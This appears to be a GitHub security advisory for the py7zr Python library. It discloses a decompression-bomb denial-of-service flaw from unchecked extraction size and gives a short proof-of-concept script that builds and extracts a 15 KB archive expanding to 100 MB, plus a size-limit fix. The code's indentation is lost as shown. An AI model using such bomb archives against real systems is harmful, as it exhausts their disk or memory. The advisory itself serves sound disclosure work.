GHSA-gjrg-mpp7-g774
py7zr: Decompression bomb (zip bomb) denial of service via unchecked extraction size
Packages
Details
As written in the advisory (Markdown source, shown as plain text).
py7zr's `Worker.decompress()` extracts archive entries without tracking total decompressed size. A crafted `.7z` file can exhaust disk or memory before the extraction completes.
Measured: 15.6 KB archive → 100 MB output (6,556:1 ratio).
**Proof of concept:**
```python
import py7zr, tempfile, os
# create bomb: compress 100MB of zeros into ~15KB
bomb_path = tempfile.mktemp(suffix='.7z')
with py7zr.SevenZipFile(bomb_path, 'w') as z:
import io
z.writef(io.BytesIO(b'\x00' * 100 * 1024 * 1024), 'bomb.bin')
print(f'archive size: {os.path.getsize(bomb_path):,} bytes')
# extract — no size check
with py7zr.SevenZipFile(bomb_path, 'r') as z:
z.extractall(path=tempfile.mkdtemp())
print('extracted 100 MB from ~15 KB archive')
```
**Root cause:** `Worker.decompress()` in `py7zr/worker.py` writes decompressed data directly to disk without a running total or configurable size limit. There is no equivalent of Python's `zipfile` `max_size` parameter.
**Fix:** track cumulative decompressed bytes and raise before writing if a limit is exceeded:
```python
MAX_EXTRACT_SIZE = 2 * 1024 ** 3 # 2 GB default, configurable
total = 0
for chunk in decompressed_chunks:
total += len(chunk)
if total > MAX_EXTRACT_SIZE:
raise py7zr.exceptions.DecompressionBombError(
f'Extraction aborted: decompressed size exceeded {MAX_EXTRACT_SIZE} bytes'
)
outfile.write(chunk)
```
Tested on py7zr 0.22.0, Python 3.12, Ubuntu 22.04.
References
External links from the advisory. They lead to third-party sites.